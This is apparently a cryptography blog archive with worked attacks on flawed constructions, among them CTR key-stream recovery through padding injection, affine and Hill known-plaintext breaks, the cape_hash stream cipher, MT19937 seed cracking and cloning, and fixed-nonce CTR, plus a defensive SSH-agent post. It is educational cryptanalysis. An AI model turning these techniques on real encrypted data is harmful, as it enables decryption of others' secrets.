Imagine that you have access to an inject_pad function that allows you to inject a secret padding at an unknown position in the plaintext but you can control the length of the padding inserted.

>>> def inject_pad(ctext, pad_len, secret_cfg):
...     # get some random and unknown padding
...     p = secret_cfg.prefix
...
...     # repeat 'p' enough times to cover 'pad_len' bytes of padding
...     # making 'p' infinite and slicing 'pad_len' zeros makes the trick
...     padding = p.inf()[:pad_len]
...     assert len(padding) == pad_len
...
...     # we don't need to decrypt the whole ctext but this is easier
...     ptext = dec_ctr(ctext, secret_cfg.key, secret_cfg.nonce)
...
...     # pick a random and secret position where to do the injection
...     # of the known partial plaintext (padding)
...     offset = secret_cfg.n8
...
...     # inject the padding (know plaintext) at random location
...     ptext = ptext.splice(offset, 0, padding)
...
...     # encrypt back again (here again the same error: we are reusing
...     # the key and nonce)
...     return enc_ctr(ptext, secret_cfg.key, secret_cfg.nonce)

This feature makes the system vulnerable.

Finding the padding injection offset

Because the original and the new ciphertexts are encrypted in CTR with the same secret, both will use the same key stream and therefore both streams will share the same prefix until the offset were the injection was done.

>>> ptext = B(open('./posts/matasano/assets/25.txt', 'rt'), encoding=64)
>>> ctext = enc_ctr(ptext, secret_cfg.key, secret_cfg.nonce)

>>> ctext2 = inject_pad(
...             ctext,
...             pad_len = 1,
...             secret_cfg = secret_cfg
...         )

If we do a xor between them we will get a bunch of zeros until the first moment in which the plaintext differ: the offset at where the injection happen.

>>> clen = len(ctext)
>>> x_ctexts = ctext ^ ctext2[:clen]

>>> next((i for i, c in enumerate(x_ctexts) if c != 0), None)
187

Finding the known partial plaintext offset

Now imagine that you know a fraction of the plaintext but you don’t know where is in the plaintext but you know that it is after the injection point:

>>> N = 16
>>> pknown = ptext[secret_cfg.n8:secret_cfg.n8+N]

Under the assumption that the known plaintext is on the right after the padding, we can detect where it is: we just need to search for the self-xor of it:

>>> x_pknowns = pknown[1:] ^ pknown[:-1]
>>> pknown_offset = x_ctexts.index(x_pknowns) - 1

>>> 187 <= pknown_offset
True

Moving window: recover the whole key stream

Knowing where the N bytes long known plaintext is we can recover N bytes of the CTR key stream.

We just xor the known plaintext with the ciphertext at the correct location. No big deal.

But with the inject_pad function we are adding padding before the location of the known plaintext and indeed we are moving its offset.

So if we inject N bytes the padding, the window will move N bytes and we will able to recover another N bytes of the key stream.

Repeating this we can recover all the key stream (except the begin):

>>> tmp = []
>>> for l, o in enumerate(range(pknown_offset, len(ctext), N)): # byexample: +timeout=10
...     ctext2 = inject_pad(ctext, l*N, secret_cfg)
...     assert len(ctext2) == len(ctext) + (l*N)
...     tmp.append(ctext2[o:o+N] ^ pknown)

In essential we use the partial known plaintext as a window to see a piece of the key stream and the inject_pad to move the window to the right and recover more of it.

The last key stream chunk recovered may contain bytes that does not belong to the original key stream.

We are not interested in those:

>>> nlast = len(ctext[pknown_offset:]) % N
>>> if nlast:
...     tmp[-1] = tmp[-1][:nlast]

Finally, from the key stream we can break the ciphering and recover the plaintext (except the begin):

>>> kstream = B.join(tmp)
>>> recoverd_ptext = ctext[pknown_offset:] ^ kstream

>>> ptext[pknown_offset:] == recoverd_ptext
True

A similar attack can be done with a delete primitive: instead of injecting padding we remove plaintext therefor moving the known plaintext window to the left instead to the right.

Affine Cipher

2019-03-20T00:00:00+00:00

A linear cipher like the Hill Cipher is vulnerable to a known plaintext attack: just resolve a set of linear equations and get the secret key.

An affine cipher is a little harder to break, however it could be vulnerable to a differential attack.

Formerly, an affine encryption looks like this

$$ A p_i + B = c_i\quad(\textrm{mod } m)$$

and the decryption like this:

$$ p_i = [A]^{-1} (c_i - B)\quad(\textrm{mod } m)$$

where $A$ and $B$ are secret and unknown to the attacker but we can assume that have known shapes of $n\textrm{x}n$ and $n\textrm{x}1$ respectively.

Differential cryptanalysis

Consider the following ciphertext and the partial known plaintext:

>>> from cryptonita import B as asbytes
>>> import numpy as np

>>> m = 251
>>> ciphertext = asbytes(b'"\x93&\xd3)\x97\xb0\xa8\xa6\xf17@,f\xb2\x17LsNs\xe0\xd7').toarray()
>>> kplaintext = asbytes(b'..fi....ra..fo..at....').toarray()

From there we can take two plaintexts $p_i$ and $p_j$ with their associated ciphertexts $c_i$ and $c_j$.

$$ A p_i + B = c_i\quad(\textrm{mod } m)$$ $$ A p_j + B = c_j\quad(\textrm{mod } m)$$

If we substract both equations we obtain a linear system like the Hill Cipher:

$$ A (p_i - p_j) = (c_i - c_j)\quad(\textrm{mod } m) $$

⊕ Keep in mind the affine transformation is a block cipher with blocks of $n$ bytes. So the plaintext/ciphertext pairs must be $n$-bytes aligned (they must come from positions multiple of $n$).

In order to break an affine cipher we need $2n$ independent plaintext-ciphertext pairs (for a linear cipher we need just $n$)

Here is the first two pairs and the first difference:

>>> p11, c11 = kplaintext[2:4].reshape(2,1), ciphertext[2:4].reshape(2,1)
>>> p12, c12 = kplaintext[12:14].reshape(2,1), ciphertext[12:14].reshape(2,1)

>>> dp1 = (p11 - p12) % m
>>> dc1 = (c11 - c12) % m

Here we build the second difference:

>>> p21, c21 = kplaintext[8:10].reshape(2,1), ciphertext[8:10].reshape(2,1)
>>> p22, c22 = kplaintext[16:18].reshape(2,1), ciphertext[16:18].reshape(2,1)

>>> dp2 = (p21 - p22) % m
>>> dc2 = (c21 - c22) % m

Stacking all this together we build the difference matrices for the plaintexts and ciphertexts of shapes $n\textrm{x}n$.

>>> dP = np.hstack((dp1, dp2))
>>> dC = np.hstack((dc1, dc2))

Remembering that the linear cipher is:

$$ A\ dP = dC \quad(\textrm{mod } m)$$

From here we can obtain $A$:

$$ A = dC\ [dP]^{-1} \quad(\textrm{mod } m)$$

>>> from cryptonita.mod import inv_matrix
>>> idP = inv_matrix(dP, m)

>>> A = np.dot(dC, idP) % m
>>> A
array([[ 95,   1],
       [ 88, 191]])

>>> iA = inv_matrix(A, m)
>>> iA
array([[  4,  67],
       [123, 161]])

Using one of the plaintext-ciphertext pairs we can obtain the remaining unknown value: the $B$ vector.

$$ B = c - A p \quad(\textrm{mod } m)$$

>>> B = (c11 - np.dot(A, p11)) % m

Finally, let’s decrypt the message!

>>> cblocks = asbytes(ciphertext).nblocks(2)
>>> pblocks = []

>>> for cb in cblocks:
...     cb = cb.toarray().reshape(2,1)
...     pb = np.dot(iA, cb - B) % m
...     pb = asbytes(pb.reshape(-1))
...     pblocks.append(pb)

>>> plaintext = b''.join(pblocks)
>>> plaintext
'Affine transformation!'

Separate your SSH Agent Identities

2019-03-15T00:00:00+00:00

Using a ssh-agent to handle our keys is handy.

When you need to access to different hosts jumping from one to another, forwarding the agent is much more secure than copying and pasting your keys around.

But if one host gets compromised it will expose your agent: even if the attacker will not get your secret keys he will be able to login into any system as you.

You cannot prevent this, but you can restrict this to reduce the splash damage.

Explicit is better than implicit

You can instruct to your ssh-agent to request your explicit permission to use a particular key.

This gives you the opportunity to detect when someone is trying to use your agent.

A simple alias is enough:

$ alias ssh-add='ssh-add -c'

To make it usable you are going to need a program that can ask you if a particular key can be used or not. There are several options but if you want simplicity I think that ssh-askpass is good enough.

Multiple `ssh-agent`s

Even using an explicit confirmation, you agent may leak some info exposing all the public keys that it has.

This is because when you (or the attacker in your behalf) request a secure shell to a remote host, ssh will offer all the available public keys that the agent has.

Only if one is accepted, the agent will ask you confirmation; technically a public key is for that but it may reveal more than you want.

For example you could have ssh key for your personal github account and another key for your work.

You use the latter ssh key to log in to some work-related host and forward the agent.

But if you loaded both keys to the same agent, it may leak the fact that you have a personal github account.

The only way to prevent this is to not load all the keys in the same agent and use different ssh-agents instead.

Switch by hand

Assuming that you have two ssh-agents running, to use a particular one you need to set some environment variables in your current shell:

$ export SSH_AGENT_PID="$agent_pid"
$ export SSH_AUTH_SOCK="$sock_file"

Where $agent_pid and $sock_file are the process id of the agent and the socket file that it created for IPC.

But doing that by hand is error prone.

`ssh-use-agent`

For this I wrote ssh-use-agent, a simple script to spawn and switch between ssh-agents.

To install it, save the script somewhere and give it execution permissions.

For simplicity, create an alias to invoke it without remembering to source it.

$ alias ssh-use-agent=". ~/your-scripts/ssh-use-agent"

And to have a quick feedback about which ssh-agent is begin use, modify your prompt:

$ PS1='${SSH_AGENT_NAME:+(agent $SSH_AGENT_NAME) } \$ '

That works for Bash, depending of your shell and your personal configuration and taste those bits may vary.

To start using an agent run:

$ ssh-use-agent use personal

That will use an already running ssh-agent registered under the name personal and it will source into your terminal the required environment variables so any program spawned from there will use that agent.

$ echo $SSH_AGENT_PID
<pid>

$ echo $SSH_AUTH_SOCK
/tmp/<...>

$ echo $SSH_AGENT_NAME
personal

If no agent is registered under that name, ssh-use-agent will spawn a new ssh-agent for you.

It is up to you to load any ssh key to it later with ssh-add (or ssh-add -c).

Run ssh-use-agent disuse to dis-configure your terminal. Keep in mind that no agent will be shutdown.

$ ssh-use-agent disuse

$ echo $SSH_AGENT_PID
$ echo $SSH_AUTH_SOCK
$ echo $SSH_AGENT_NAME

To remove a key or all the keys use ssh-add as usual; to kill a particular ssh-agent use the traditional kill -15.

Cape Encryption

2019-02-03T00:00:00+00:00

⊕ cape’s site

The Cape library offers a symmetric stream cipher implemented in cape_decrypt and cape_encrypt.

⊕ cape_hash is an unfortunately name for a cipher.

In addition, it offers another symmetric stream cipher, a slightly different of the first one, implemented in cape_hash.

In this write-up we are going to analyze the cape_hash stream cipher and see if we can break it.

Warming up

First at all, let’s load a secret and random salt and key and an ASCII pseudo-English plaintext, unknown to us:

?: unsigned char *secret = read("cape-secret", "rb", 1+65535);
?: uint8_t salt = secret[0];
?: unsigned char *key = &secret[1];

?: unsigned char *plaintext = read("assets/cape_encryption/1.txt", "rb", 2852);

?: cape_t cape;
?: cape_init(&cape, key, 65535, salt);

In this post we are going to analyze only the cape_hash cipher so let’s use it to encrypt the plaintext and save it to disk:

?: unsigned char *ciphertext = (unsigned char*) malloc(2852);
?: cape_hash(&cape, plaintext, ciphertext, 2852);

?: write("cape-ciphertext", "wb", ciphertext, 2852)

For breaking the cipher we are going to use cryptonita, a Python lib for cryptanalysis.

>>> from cryptonita import B                 # byexample: +timeout=10
>>> ciphertext = B(open("cape-ciphertext", "rb").read())
>>> plaintext = B(open("assets/cape_encryption/1.txt", "rt").read())

Too short key stream

The cape_hash cipher is as follows:

uint8_t srk = cape->salt ^ cape->reduced_key;
for(uint16_t i = 0; i < length; i++) {
    uint8_t isrk = srk ^ i;
    destination[i] = source[i] ^ isrk ^ cape->key[isrk % cape->length];
}

cape->reduced_key is a 8 bits secret value derived from the secret key cape->key.

We will consider that cape->salt as secret too.

⊕ Technically, it can hold 65536 bytes but the length is a 16 bits unsigned integer so we lost one number wasted by representing the 0 length

Despite that cape->key can hold 65535 bytes, isrk has only 8 bits and therefor the isrk ^ cape->key[ .. ] can only give 256 bytes and after that it will repeat itself.

That means that plaintext of more than 256 bytes will be xored with a repeating key stream and we know how to break this.

(Partially) Known plaintext attack

Because the key stream is repeating within the encryption of a single plaintext, if we know a part of the plaintext we can break the rest.

Given the first 256 bytes of the plaintext, the 256 key stream are trivially found:

>>> known_plaintext = plaintext[:256]
>>> kstream = known_plaintext ^ ciphertext[:256]

Then, we decrypt the rest of the message just xoring the ciphertext with the key stream reapeating it each 256 bytes:

>>> dmsg = ciphertext ^ kstream.inf()
>>> dmsg == plaintext
True

If the original key has less than 256 bytes, the amount of known plaintext required is less: the same amount of bytes that the key has.

Ciphertext only attack

Even if we don’t have access to a known plaintext, we can mount an ciphertext only attack.

Take the ciphertext and split it in blocks of 256 bytes each. Then, stack them so you will have a matrix of 256 columns.

The last row, however it could contain less bytes (because the ciphertext length is not multiple of 256); for simplicity we are dropping it.

>>> from cryptonita.conv import transpose, uniform_length

>>> len(ciphertext)
2852

>>> tmp = ciphertext.nblocks(256)
>>> tmp = uniform_length(tmp, length=256)   # drop any shorter row

Because the key stream is repeated, each column will be xored with the same key stream byte.

If this matrix is transposed, each row will be xored with the same key stream byte:

>>> tciphertexts = transpose(tmp)
>>> len(tciphertexts) # rows
256

>>> len(tciphertexts[0]) # columns
11

Frequency attack

Given the fact that the plaintext is written in ASCII English, we can mount a frequency attack.

freq_attack assume that one of the most_common plaintext symbols is in the ntop of the ciphertext symbols, encrypted of course.

In this case we are going to use the famous ETAOIN SHRDLU model.

⊕ As rule of thumb 64 bytes is cool.

For longer ciphertexts you can set ntop = 1 and assume that the most frequent cipher-symbol is one of the most common plaintext symbols encrypted.

But with only len(tciphertexts[0]) == 11, we need to set ntop to higher value.

>>> from cryptonita.scoring.freq import etaoin_shrdlu   # byexample: +timeout 10
>>> from cryptonita.attacks import freq_attack

>>> most_common = etaoin_shrdlu()
>>> ntop = 5

Under this hypothesis, a possible byte key is just the xor of those two: in the worst case we will have len(most_common) * ntop guesses:

>>> len(most_common) * ntop
65

But in the practice we have less (duplicated are removed):

>>> gkey1 = freq_attack(tciphertexts[0], most_common, ntop)

>>> len(gkey1)
44

⊕ Without a frequency attack we could try the whole space of 256 bytes. It is totally feasible but it is faster to do a frequency attack first to reduce the search space

gkey1 is a guess: the most likely possible values for the first byte of the key stream.

Brute force

We can discard some guesses if they produce the wrong plaintext.

⊕ Even if the alphabet of all ASCII printable has 100 symbols and the proposed has 64 symbols (more than half), the impact of this is enormous reducing the guesses in two or more orders of magnitude.

Knowing that the plaintext has a reduced set of ASCII printable of letters, numbers and only a few punctuation symbols we can narrow the set of guesses further:

>>> from functools import partial
>>> from cryptonita.scoring import all_in_alphabet

>>> alphabet = B(b"\n !',-.012356789?ABCDEFGHIJLMORSTVWY[]abcdefghijklmnopqrstuvwxyz")

>>> all_in_alphabet = partial(all_in_alphabet, alphabet=alphabet)

Now, we filter out any key that the decrypted message does not fit in out plaintext model.

Once again we will obtain a guess, but a shorter one this time:

>>> from cryptonita.attacks import brute_force
>>> gkey1 = brute_force(tciphertexts[0], score_func=all_in_alphabet, key_space=gkey1)

>>> len(gkey1)
1

Repeating this for all the 256 ciphertexts should yield a 256 list of guesses:

>>> gkeys = []
>>> for c in tciphertexts:                          # byexample: +timeout=10
...     gk = freq_attack(c, most_common, ntop)
...     gk  = brute_force(c, score_func=all_in_alphabet, key_space=gk)
...     gkeys.append(gk)

This a product and the set will grow exponentially:

>>> from cryptonita.fuzzy_set import len_join_fuzzy_sets
>>> len_join_fuzzy_sets(gkeys)
626513003<...>

Considering only the most likely key stream:

>>> from cryptonita.fuzzy_set import join_fuzzy_sets
>>> kstream = join_fuzzy_sets(gkeys, cut_off=1, j=B('')).most_likely()

The resulting decrypted text was nice performance of almost 60% of success:

>>> decrypted = ciphertext ^ kstream.inf()

>>> hits = sum((p==d for p, d in zip(plaintext, decrypted)))
>>> hits / len(plaintext)
0.59<...>

Here are some extract of the decrypted text. See how some words are perfectly visible like “aitn’t”, “soul”, “I’m” and “degree”.

>>> [d[:80] for d in decrypted.nblocks(256)[:8]]
["[IntsyH\nOtaf.9wanillas' dsond'tit worae5ln\na chair,7yea3\nVfoCltxi'll lhock 'tj'c",
 "rn mx6foxvsd ciis ain't yh.jorropl\nIt-cyfmCshed my ehymw, edIamj, I'm'brawin6'so",
 "quipqsq axt  cie best\nMael.anhtitr onh!slr\nice, let7the2midsEppv'e retr\nJust1knt",
 "nce\nCsvacbehI7sock with qkovou,!yard lr5oiLesaver\nYxu aakec!Loj9-ope,'na...tyfs ",
 "eal fyzd8?.!ncn a new phvtk, mulain' xq5whO airwaved\nAnv nhv\nywlnre ajgzed 'rfrt",
 "w my!eayzt,hmn!soul, up xi.thb epnce kmzlr I wanna'7see2ya !Yhyr,, shfme and1ton",
 " thao6ahs1t iee degree\nYxr.trnee1my syxyf Hut I bury yog sbd I?tiice fhd I'm1dhk",
 "us]\nHb2s6p 8aeuy...come xi .. lde's db!akiY..\n\n[Verde 3O\nYht\ntpp'k it u funy1sh'"]

Final thoughts

cape_hash is symmetric cipher that, despite of having a 65536 bytes length key, the key stream is repeated each 256 of plaintext enabling a cipher only attack.

Even with a short plaintext of just 2852 we got 11 bytes xored with the same key byte and this was enough to get almost 60% of the plaintext.

⊕ Based on the documentation

With a theoretical maximum length of 65534 bytes for a single plaintext, we can obtain 256 bytes xored with the same key byte. Virtually any plaintext of that size can be broken completely.

But if such scenario is not plausible, knowing a little more about the plaintext can really improve the attack.

A partially known plaintext of just 256 bytes is fulminant and breaks the ciphering completely.

Crypto is hard and developing a new cipher is harder. The only way to improve in this field is trying, failing, and trying again.

A special thank you to Giovanni Blu Mitolo, the author of cape who made the project open source and asked for feedback to the community.

Break Hill Cipher with a Known Plaintext Attack

2019-01-02T00:00:00+00:00

Given a matrix secret key $K$ with shape $n\textrm{x}n$, the Hill cipher splits the plaintext into blocks of length $n$ and for each block, computes the ciphertext block doing a linear transformation in module $m$

$$ K p_i = c_i\quad(\textrm{mod } m)$$

For decrypting, we apply the inverse of $K$

$$ p_i = [K]^{-1} c_i \quad(\textrm{mod } m)$$

To make sense, the secret key $K$ must be chosen such as its inverse exists in module $m$.

Ready to break it?

Known plaintext attack

Because the Hill cipher is a linear cipher, it is vulnerable to a known plaintext attack.

For a secret key $K$ with shape $n\textrm{x}n$, we need $n$ pairs of known plaintext and ciphertext blocks, each of length $n$.

The resulting equations no only need to be linear independent in general but in modulo $m$ too. If not, the calculus of the inverse of the system matrix will fail.

Let’s be the following ciphertext encrypted with an unknown matrix $K$ with shape $2\textrm{x}2$ module $251$.

>>> from cryptonita import B

>>> ciphertext = B(
...     b'\x19\xdb&\x05,\x9f\x8a2\xeb.\x8fJ\x9b\xbcZb]7e\xe2f\x83\x96'
...     b'\xa8j[\xb2\x15\x89\x95\x19\xf04p\x061\xc8\xbf\xa0\xd8\xd0\xba'
...     b'L\xa4Jl\x98\xd9\x89\x95\n\x9b\xa8\x88=KL\xa0#\xddJl\xbcE\xb3'
...     b'\xad\xf5\xa5e\xe26\xf9\xc1Y\xb2\x15\x87\x08?\x95\xf4\r\xcb\x9e"'
...     b'\x85\xd8\xa0\xc8lMA\xcb\x9eZb\x97-\xb7\xd9~\xb7Bq\t\x03\x94\x1c'
...     b'@\x01/n\x83\x891\x92p\x10F\xech\xf7\xb8\xc5\xbb\xa8\x9cY\xcf\n')

>>> n = 2
>>> m = 251

Let’s be a known (partial) plaintext of 4 bytes (2 blocks of length 2)

>>> known_plaintext = B('Hill')
>>> at = 4

>>> partial_ciphertext = ciphertext[at:at+len(known_plaintext)]
>>> partial_ciphertext
',\x9f\x8a2'

With these two pairs Hi -> ,\x9f and ll -> \x8a2 we can build the following equation system:

$$ K p_1 = c_1 \quad(\textrm{mod } m) \\ K p_2 = c_2 \quad(\textrm{mod } m) $$

Each pair adds one equation or two if we see them in an unrolled way (we decompose each vector and matrix and make the dot product explicit):

$$ K_{1,1} p_{1,1} + K_{1,2} p_{1,2} = c_{1,1} \quad(\textrm{mod } m) \\ K_{2,1} p_{1,1} + K_{2,2} p_{1,2} = c_{1,2} \quad(\textrm{mod } m) \\ K_{1,1} p_{2,1} + K_{1,2} p_{2,2} = c_{2,1} \quad(\textrm{mod } m) \\ K_{2,1} p_{2,1} + K_{2,2} p_{2,2} = c_{2,2} \quad(\textrm{mod } m) \\ $$

All those equations can be seen as a single one if we see all the plaintext and ciphertext blocks/vectors as two matrices.

$$K P = C \quad(\textrm{mod } m)$$

>>> import numpy as np

>>> P = np.array(list(known_plaintext)).reshape(2,2).T
>>> P
array([[ 72, 108],
       [105, 108]])

>>> C = np.array(list(partial_ciphertext)).reshape(2,2).T
>>> C
array([[ 44, 138],
       [159,  50]])

Find the secret key matrix K

Then:

$$ K = C [P]^{-1} \quad(\textrm{mod } m)$$

Where $[P]^{-1}$ is the inverse of the matrix $P$ in $(\textrm{mod } m)$ so we cannot apply a standard inverse operation.

Thankfully cryptonita already implements this inverse for us.

>>> from cryptonita.mod import inv_matrix

>>> iP = inv_matrix(P, m)

>>> np.dot(P, iP) % m
array([[1, 0],
       [0, 1]])

>>> K = np.dot(C, iP) % m
>>> K
array([[  4,  67],
       [123, 161]])

>>> (np.dot(K, P) % m == C).all()
True

Decrypt the plaintext

To decrypt the ciphertext we need the inverse of $K$ in $(\textrm{mod } m)$

>>> iK = inv_matrix(K, m)
>>> iK
array([[ 95,   1],
       [ 88, 191]])

>>> (np.dot(iK, C) % m == P).all()
True

Finally:

>>> cblocks = ciphertext.nblocks(2)

>>> plaintext = []
>>> for cblk in cblocks:
...     ci = np.array(list(cblk)).reshape(2, 1)
...     pi = np.dot(iK, ci) % m
...
...     plaintext.append(B(list(pi.ravel())))

>>> plaintext = b''.join(plaintext)
>>> print(plaintext)           # byexample: +norm-ws
b'The Hill cipher is a polygraphic substitution cipher based on linear
  algebra invented by Lester S. Hill in 1929. - From Wikipedia.'

Beyond a known plaintext attack (open questions)

Some open questions for a future post:

How to determinate the block length n?
And the module m?
Beyond a linear polynomial: what about a cipher using a polynomial of order q?
If no known plaintext exists, how we can guess one?
May be a differential attack?

Breaking MT19937 Crypto

2018-12-23T00:00:00+00:00

The Mersenne-Twister 19937 or just MT19937 is one of the most used pseudo random number generator with a quite large cycle length and with a nice random quality.

However it was not designed to be used for crypto.

⊕ – Spoiler Alert! –

But some folks may not know this…

Warming up

Before anything, let’s implement the MT19937 Mersenne Twister RNG

For testing, I’m going to use the following test vector

>>> from cryptonita.attacks.prng import MT19937
>>> from cryptonita import B

>>> f = open('posts/matasano/assets/MT19937.vector', 'rt')
>>> seed = int(f.readline())

>>> expected_rnd_seq = [int(line) for line in f]

>>> g = iter(MT19937(seed))
>>> gen_rnd_seq = [next(g) for i in range(len(expected_rnd_seq))]

>>> expected_rnd_seq == gen_rnd_seq
True

Cracking (seed space exploration)

It is quite common to find people that use the current time as their secret seed for the generator.

Some even say “but I’m using 64 bits with microsecond resolution so it will impossible to find it by brute force”

>>> import time
>>> secret_seed = int(time.time())
>>> x = next(iter(MT19937(secret_seed)))

Exploring 64 bits is quite hard but the seed is not random, therefore we do not need to explore the whole space but a smaller space.

Instead we just explore the numbers in the vicinity of the current time that turns the crack an MT19937 seed into a much simpler task.

First, assuming that we known the first output of the PRNG, we build an oracle function to tell if we have found or not the secret seed.

>>> from functools import partial

>>> def MT19937_oracle(seed, first_known_output):
...     g = iter(MT19937(seed))
...     return next(g) == first_known_output

>>> oracle = partial(MT19937_oracle, first_known_output=x)

Then, it just rest to test the seed space starting from an educated guess for the secret seed.

For example we could guess that the seed is between 2048 seconds ago and 2 times that in the future.

>>> delta = 2048
>>> start = int(time.time()) - delta
>>> stop = start + delta*2

Now we test each possible seed in that range. search is a handy function for the testing and IntSpace defines a search space with some heuristics like yielding first the numbers in the middle of the range before in the extremes.

>>> from cryptonita.space import IntSpace # byexample: +timeout=10
>>> from cryptonita.attacks import search    # byexample: +timeout=10

>>> space = IntSpace(start, stop, start='middle')
>>> search(space, oracle) == secret_seed      # byexample: +timeout=10
True

Gotcha!

Cloning

⊕ Formally, there is not such efficient algorithm that allow an attack to distinguish even with a small probability for large but finite sequences. Eventually with a really large sequences the attacker may break it.

A property that all PRNG cryptographically secure must hold is that even if the attacker knows the partial output of the PRNG he cannot distinguish it from a truly random sequence.

In particular he cannot predict any future output.

The MT19937 does not hold this and it is possible to clone an MT19937 RNG from its output allowing an attacker to predict any future value:

>>> from cryptonita.attacks.prng import clone_mt19937               # byexample: +timeout=10

>>> g = iter(MT19937(secret_seed))
>>> out = [next(g) for i in range(624)]

>>> cg = iter(clone_mt19937(out))

>>> all((next(g) == next(cg)) for i in range(624))
True

The fundamental problem of the MT19937 is that part of the output generation is a reversible operation.

⊕ And this is how we could make the MT19937 a little harder: make the operation non-invertible and making each output byte a function based on the whole secret state adding more entropy and shuffling into the mix.

And because each output byte has a dependency with one and just one single secret byte, from that output byte an attacker can get the single secret byte.

For a 624 output samples, the full secret state of the MT19937 can be obtained.

Cracking a cipher based on a MT19937

From a pseudo random generator we can build a stream of pseudo random bytes, just seeing each number as 4 or 8 bytes:

>>> from cryptonita.conv import repack          # byexample: +timeout=10

>>> prng = iter(MT19937(cfg.n16))
>>> kstream = repack(prng, ifmt='>I', ofmt='>BBBB')

Given this stream we can build a stream cipher just xoring the random stream with the plaintext in a similar way like CTR works

>>> secret = cfg.lnonce     # quite large random "secret" stuff
>>> ciphertext = B(s ^ next(kstream) for s in secret)

>>> clen = len(ciphertext)
>>> clen
128

Now, let’s assume that we know some part of the plaintext from an unknown position:

>>> at = cfg.n8 % (clen-8)
>>> known_plaintext = secret[at:at+8]

>>> plen = len(known_plaintext)     # quite arbitrary, it could work with less
>>> plen
8

⊕ Create the MT19937 stream cipher and break it

Because the cipher does not use a random secret key (the seed), it is possible to break this ciphering.

First, lets see all the possible substrings of the same length than the known plaintext:

>>> cngrams = ciphertext.ngrams(plen)

Then we could try to xor them with the plain text: all except one of the substring will be just garbage but one will be part of the original secret key stream product of the PRNG.

>>> pngrams = [c ^ known_plaintext for c in cngrams]

Of course we do not know which substring is garbage and which is not.

Out best strategy is to generate a long enough key stream with our guessed seed and see if a substring matches or not.

>>> def oracle(seed):
...     g = iter(MT19937(seed))
...     tmp = repack(g, ifmt='>I', ofmt='>BBBB')
...     stream = B(next(tmp) for _ in range(clen))
...
...     sngrams = stream.ngrams(plen)
...     count = sum(s == p for s, p in zip(sngrams, pngrams))
...     return count == 1

>>> seed = search(IntSpace(2**16), oracle)                         # byexample: +timeout=300
>>> prng = iter(MT19937(seed))
>>> kstream = repack(prng, ifmt='>I', ofmt='>BBBB')

>>> B(c ^ next(kstream) for c in ciphertext) == secret
True

Fixed Nonce CTR Attack

2018-12-04T00:00:00+00:00

The Counter mode, or just CTR mode, turns a block cipher into a stream cipher.

More specifically, it builds a pseudo random generator (PRG) from a block cipher and then generates a random string using the PRG to encrypt/decrypt the payload performing a simple xor.

The idea is to initialize the PRG with a different seed each time but if this does not happen, all the plaintexts will be encrypted with the same pseudo random key stream – totally insecure.

⊕ – Spoiler Alert! –

Ready to break it?

Warming up

⊕ Implement CTR, the stream cipher mode

Let’s implement a CTR. As usual we generate a pseudo-random configuration to parametrize the CTR.

>>> bsize = 16

>>> cfg = generate_config(random_state=seed, block_size=bsize,
...                       nonce=0, key=B('YELLOW SUBMARINE'))

Now let’s check that our AES cipher in Counter mode works

>>> ciphertext = B('L77na/nrFsKvynd6HzOoG7GHTLXsTVu9qvY/2syLXzhPweyyMTJULu/6/kXX0KSvoOLSFQ==', encoding=64)

>>> dec_ctr(ciphertext, cfg.key, cfg.nonce)
"Yo, VIP Let's kick it Ice, Ice, baby Ice, Ice, baby "

Break fixed-nonce CTR

If the nonce is fixed, then several independent ciphertext will be encrypted with the same key stream.

Let’s load some plaintexts and let’s encrypt them reusing the same nonce over and over and see if we can break the encryption later.

>>> from cryptonita.conv import transpose, uniform_length    # byexample: +timeout=10
>>> plaintexts = list(load_bytes('./posts/matasano/assets/20.txt', encoding=64))

>>> ciphertexts = [enc_ctr(p, cfg.key, cfg.nonce) for p in plaintexts]

The vulnerability resides in reusing the nonce.

With the same nonce, CTR generates the same random sequence that uses to xor the payload.

In other words, it performs a xor reusing the key stream and we already know how to break a repeating xor key cipher.

Quick recap: because the key stream was reused, the ith byte of all the ciphertexts was xor’d with the same key byte and therefore, xor’ing two ciphertexts will remove the key stream leaving us the xor of the two underlying plaintexts.

We notice that not all the ciphertexts are of the same length so to simplify we need to uniform their lengths.

For example, we could truncate all the ciphertexts to the length of the smallest.

>>> tciphertexts = uniform_length(ciphertexts)
>>> tplaintexts = uniform_length(plaintexts)

Now, because the repeating key is along the column axis (eg, the first byte of all the plaintexts were xored with the same key byte), it is more convenient to transpose them.

>>> tciphertexts_transposed = transpose(tciphertexts)

>>> len(tciphertexts_transposed)    # rows
53

>>> len(tciphertexts_transposed[0]) # columns
60

Plaintext statistic model

To perform a frequency attack we need the most common letters of the plaintext.

Given an English text, these are the classical ETAOIN-SHRDLU.

>>> from cryptonita.scoring.freq import etaoin_shrdlu

But consider the first byte of all the plaintexts.

If they are the begin of a sentence it is very likely that they are in uppercase and the first letter of a word may not (and will not) follow the ETAOIN-SHRDLU frequency.

Therefore we need another statistical model, one for the upper case:

>>> from cryptonita.scoring.freq import tsamcin_brped

Yes, I know, tsamcin_brped is a terrible name but it is aligned with etaoin_shrdlu.

Score a decryption using Chi-square test

The frequency attack (freq_attack) implemented in cryptonita returns a guess: a set of possible key bytes.

To determine the correct key we need to try each of them by brute force (brute_force) and “see” which looks more “human text”.

For this we observe the frequency of the letters in the deciphered plaintext and compare them with the expected frequency using a Chi-square test.

In cryptonita, this is implemented in the fit_freq_score function:

>>> from cryptonita.scoring import fit_freq_score

But fit_freq_score can be a little drastic; if the brute force yields none key we roll back and score using a more relaxed score function:

>>> from cryptonita.scoring import all_ascii_printable

As you may guess, all_ascii_printable returns 1 if all the characters in the deciphered plaintext are ASCII and 0 otherwise.

Guess the CTR key stream

Mixing all this together:

>>> from cryptonita.attacks import brute_force, freq_attack
>>> from functools import partial

>>> guesses = []
>>> # we iterate over each column (the i==0 correspond to the first letter)
>>> for i, c in enumerate(tciphertexts_transposed):
...     if i == 0:  # first letter, use a special statistical model
...         most_common = tsamcin_brped()
...     else:
...         most_common = etaoin_shrdlu()
...
...     # frequency attack, try to find the most likely key bytes
...     # for the ith letter
...     byte_guess = freq_attack(c, most_common, 1)
...
...     # build a score function using the fit_freq_score parametrized
...     # with the "expected" probabilities from our model
...     # fit_freq_score will take an input and from there it will obtain
...     # the "observed" probabilities and will compare them with the
...     # expected using Chi-Square.
...     score_fun = partial(fit_freq_score, expected_prob=most_common)
...
...     # Try every possible key byte from our freq_attack scoring
...     # the deciphered outputs with the fit_freq_score. Poor scored
...     # are drop so we should only have left the most likely keys.
...     g = brute_force(c, score_fun, byte_guess)
...     if not g:
...         # but may be fit_freq_score is too restrictive.
...         # rollback to a much lax/loose score function (but with
...         # more false positives)
